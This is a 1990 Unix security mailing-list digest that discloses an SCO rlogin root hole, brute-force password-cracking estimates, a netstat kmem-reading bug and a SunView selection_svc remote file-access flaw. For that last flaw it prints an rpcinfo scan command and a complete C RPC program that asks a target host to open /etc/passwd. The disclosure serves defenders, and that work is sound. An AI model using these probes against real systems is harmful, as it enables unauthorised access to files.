Subject: Core Security Digest V1 #2 Core Security Digest Volume 1 Issue 2 subject(s): Security Hole in SCO UNIX Brute Force Password Cracking security problem in selection_svc netstat The unix core security mailing list is by invitation only and contains sensitive material which SHOULD NOT BE REVEALED to non-members. DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS. If you must keep copies on-line, please encrypt them at the very least. PLEASE POST TO: core@uninet.cpd.com PLEASE SEND EMERGENCY ALERTS TO: core-emergency@uninet.cpd.com PLEASE SEND REQUESTS TO: core-request@uninet.cpd.com ------------------------------------------------------------------------ Date: Thu, 17 May 90 8:49:34 EDT From: Ragnar Paulson Subject: Security Hole in SCO UNIX I've discovered a small problem with SCO UNIX security. We are running SCO UNIX on a generic 386 (ISA BUS). We also have SCO TCP/IP installed. I've discovered that if you "rlogin" to SCO UNIX from a trusted host (one in /etc/hosts.equiv), you can get root privileges without a password if your home directory does not exist. I suspect any reason for the automatic login to fail would cause the same problem. Usually rlogind logs the user in directly to his home directory. But if the home directory does not exist it will fail ("Cannot chdir to ..."), and give a "login:". However whatever is typed here, including root, will succeed without a "password:" required. I'm not sure how one could take advantage of this, I only found it because SCO's UNIX often fails to mount my user file system (after a panic or crash). Besides as the host is a trusted host it is probably inherently insecure anyways. I've already notified SCO, I just thought everyone here would like to know. ------------------------------------------------------------------------ Date: Tue, 19 Jun 90 06:17:39 EDT From: seth@ctr.columbia.edu (Seth Robertson) Subject: Brute Force Password Cracking Here is some interesting information. Computational power is going up fast enough that brute-force attacks on passwords are becoming possible. Certainly when the next generation of machines come out or if a faster password algorithm becomes known (there are rumors of a 32,000 encryptions/sec on a 68030 with 100,000 e/s almost ready and 400,000 e/s thought to be possible) brute force attacks will be possible. Now you may look at this chart and think that 100 sparcstations is infeasible but that is not true: Columbia (which is by no means that large of a school) could easily dig up enough computers to equal 100 sparcstations. Sun 3s plod along at ~50 e/s, but it only takes four of them to equal on sparcstation. (It is certainly easy enough to write a parallel password cracking program which will automatically divide up the work in cracking passwords between many hosts. In fact, I did so.) Admittedly, this is alot of work to go through to crack one password, but soon it will be computationally feasible to crack any non-rich password (a-z) of any length. The question, of course, is what to do about this? It would be easy to hack DES to extend the key space to 256, or 1024 bits (but who would type in a 128 character password? :-) but what really needs to be done is to find a more computationally intensive protection scheme (or perhaps some other approach?) Any comments? Password Password Number of Time for N Sparcstations Character Set Length Passwords 10 40 100 ------------- -------- --------- ---- ---- ---- lowercase 5 3.2e+06 24m 6.2m - consonants 6 6.4e+07 8.3h 2.1h 50m (20 chars) 7 1.3e+09 6.9d 1.7d 16.5h 8 2.6e+10 4.6M 1.15M 13.8d lowercase 5 1.2e+07 92m 23m 9m letters 6 3.1e+08 1.7d 10h 4h (26 chars) 7 8.0e+09 1.4M 10.8d 4.3d 8 2.1e+11 2.9y 9.3M 3.75M lowercase & 5 1.0e+08 13.2h 3.3h 1.3h punctuation 6 4.1e+09 22d 5.5d 2.2d (40 chars) 7 1.6e+11 3.3y 7.3M 3M 8 6.6e+12 133y 33y 13.3y * Table assumes 215 transforms per second per Sparcstation 1. m = minutes h = hours d = days M = months y = years (original table) (from some Grad student at MIT who was forced to do a study on passwords in use on project Athena. He found several thousand passwords...) Password Password Number of Time for N MicroVaxes * Character Set Length Passwords 10 40 100 ------------- -------- --------- ---- ---- ---- lowercase 5 3.2e+06 2.5h 38m 15m consonants 6 6.4e+07 51h 13h 5.1h (20 chars) 7 1.3e+09 42d 10d 4d 8 2.6e+10 2.2y 7.0M 83d lowercase 5 1.2e+07 9.4h 2.4h 1h letters 6 3.1e+08 10d 61h 25h (26 chars) 7 8.0e+09 8.9M 2.2M 26d 8 2.1e+11 19y 4.6y 2y lowercase & 5 1.0e+08 3.3d 20h 8.1h punctuation 6 4.1e+09 4.6M 34d 14d (40 chars) 7 1.6e+11 15y 3.7y 1.5y 8 6.6e+12 593y 148y 59y * Table assumes 35 transforms per second per MicroVax. m = minutes h = hours d = days M = months y = years ------------------------------------------------------------------------ Date: Wed, 20 Jun 90 17:27:53 PDT From: uunet!mica.berkeley.edu!shipley Subject: security problem in selection_svc Under SunOS running the SunView windowing system, it is possible to remotely access files using SunView selection_svc(1) subprocess and the RPC facility. The selection_svc program handles all selections made by SunView client programs. It is used to modify resource files and cut/paste selections. The way these clients communicate with selection_svc is through RPC calls. The problem is that the selection service process will accept RPC requests from any user, both locally and remotely. No authentication is preformed. I have verified this bug under SunOS 3.5, 4.0.3 and 4.1 I have mailed a patch to Sun that will fix the remote access problem by having the selection_svc deny remote requests (with an exception for call to RPC's "NULLPROC"). But this patch only shrinks the security hole because any users on the same cpu can still read files as if they were the user running SunView. What's worse it that it is possible to scan for local systems having the RPC service available. The command: rpcinfo -b selection_svc 6 will print a list of systems running selection_svc on the local broadcast network. For Sun's 386i systems, the problem is more complicated. On these systems, selection_svc is started when /etc/init runs /etc/rc. Because init runs as root, you tell selection_svc to read any file. Until patch is released by Sun the only real fix I know of is to disable suntools and use the X11 windowing system. Here is a program that will test for this problem: (administer need not worry about this code, it will take another 300 lines of added code to make this program retrieve data from a remote host) static char *_cp_="Copyright Peter Shipley (HACKMAN) [1990]\n"; static char *_n_=" sel_holdf_rpc.c \n"; /* * This program tests the existence of a hole in the selection_svc * that allows remote access to file on a system. * * The Return codes are: * 1 = security problem detected * 0 = no security problem detected * -1 = Insufficient data or error in detection * */ #include #include #include #include #include #include typedef enum { SELN_UNKNOWN, SELN_CARET, SELN_PRIMARY, SELN_SECONDARY, SELN_SHELF, SELN_UNSPECIFIED } Seln_rank; typedef enum { SELN_FAILED, SELN_SUCCESS, SELN_NON_EXIST, SELN_DIDNT_HAVE, SELN_WRONG_RANK, SELN_CONTINUED, SELN_CANCEL, SELN_UNRECOGNIZED } Seln_result; typedef struct { Seln_rank rank; char *pathname; } Seln_file_info; #define SELN_SVC_DONE ((u_long) 3) #define SELN_SVC_HOLD_FILE ((u_long) 5) #define SEL_PRO_NUM ((u_long) 100015) /*536970927*/ #define SEL_VERSION ((u_long) 6) int xdr_sfi(); enum clnt_stat call_nullproc(), call_holdfile(); CLIENT *make_client(); static struct timeval tout; void exit(); /* SHUT LINT UP */ /* ARGUSED */ main(ac, av) int ac; char *av[]; { CLIENT *client; enum clnt_stat clnt_stat; Seln_result sr; int result; result = 0; /* establish a link since we will be using it more then once */ client = make_client( (ac > 1 ? av[1] : "localhost" ), SEL_PRO_NUM, SEL_VERSION); /* test it */ if(client == NULL) { clnt_pcreateerror("clntudp_create"); exit(-1); } /* call the null procedure, this will serve as sort of a ping */ clnt_stat = call_nullproc(client); /* test and report results */ if( clnt_stat != RPC_SUCCESS) { clnt_perror(client, "rpc: nullproc"); exit(-1); } else (void) fputs("RPC: Success nullproc\n", stdout); /* call the hold file procedure, this will ask the selection server to open the file for reading. */ clnt_stat = call_holdfile(client, "/etc/passwd", &sr); /* test and report results */ if( clnt_stat != RPC_SUCCESS ) { clnt_perror(client, "rpc: holdfile"); (void) fputs("RPC: failure holdfile\n", stdout); exit(-1); } else { (void) fputs("RPC: Success holdfile\n", stdout); switch(sr) { case SELN_FAILED: (void) fputs("selection failure holdfile\n", stdout); break; case SELN_SUCCESS: (void) fputs("selection success holdfile\n", stdout); result = 1; break; default: (void) fprintf(stderr, "selection result = %d\n", sr); } } /* close our connection */ clnt_destroy(client); /* bye bye */ exit(result); } enum clnt_stat call_holdfile(client, path, sr) CLIENT *client; char *path; Seln_result *sr; { Seln_file_info sfi; /* set up request data */ sfi.rank = SELN_SECONDARY; sfi.pathname = path; /* make request and return result */ return(clnt_call(client, SELN_SVC_HOLD_FILE, xdr_sfi, (char *) &sfi, /* data sent */ xdr_enum, (char *) sr, /* data returned */ tout)); } CLIENT * make_client(host, serv, ver) char *host; u_long serv, ver; { CLIENT *client; int sock = RPC_ANYSOCK; struct hostent *hp; struct sockaddr_in server_addr; /* get address of remote host */ if ((hp = gethostbyname(host)) == NULL) { (void) fprintf(stderr, "Can't get address for %s\n", host); exit(-1); } /* set our connection timeout */ tout.tv_sec = 3; tout.tv_usec = 0; /* set up out data structures for connecting with the remote host */ bcopy((char *)hp->h_addr, (char *) &server_addr.sin_addr, hp->h_length); server_addr.sin_family = AF_INET; server_addr.sin_port = 0; /* create a client hookup using udp to selection_svc */ client = clntudp_create(&server_addr, serv, ver, tout, &sock); /* set the time out for calls (since tout is reused) */ tout.tv_sec = 20; /* return our referance hook for out client */ return(client); } enum clnt_stat call_nullproc(client) CLIENT *client; { return (clnt_call(client, NULLPROC, xdr_void, (char *) NULL, /* data sent */ xdr_void, (char *) NULL, /* data returned */ tout)); } int xdr_sfi(xdr, xsfi) XDR *xdr; Seln_file_info *xsfi; { return (( xdr_int(xdr, (int *) &xsfi->rank) && xdr_string(xdr, &xsfi->pathname, MAXPATHLEN)) ); } /* end of file sel_holdf_rpc.c */ ------------------------------------------------------------------------ Date: Sat, 23 Jun 90 12:43:16 PDT From: neil (Neil Gorsuch) Subject: netstat [ I sent out a notice just before the Morris sentencing urging sites to disable the netstat command for "others". There were some specific threats to re-release the Morris worm, and the netstat command was used as the main source of new system's names and addresses to break into. My notice is now apparantly being re-released into some news groups and causing questions to be asked. Jeff Forys, a member of the core list, saw my notice and seems to have found a real netstat security bug, as expained in this email message that he sent to me. - neil ] On Jun 4, 10:32am, Jeff Forys wrote: } Subject: Re: Saw the following message in misc.security. } > I would strongly urge every site on the internet to immediately chmod } > the program "netstat" so that "others" cannot execute it. } The only thing I can figure out is that netstat(1) allows you to } specify a vmunix/vmcore and does not reset the setgid bit before } reading a user-specified set of symbols/locations. I suppose one } could read anything out of kmem by faking locations to netstat... } I just fixed this, so assuming this was the problem, we are okay. ------------------------------------------------------------------------ End of Core Security Digest Volume 1 Issue 2 **********************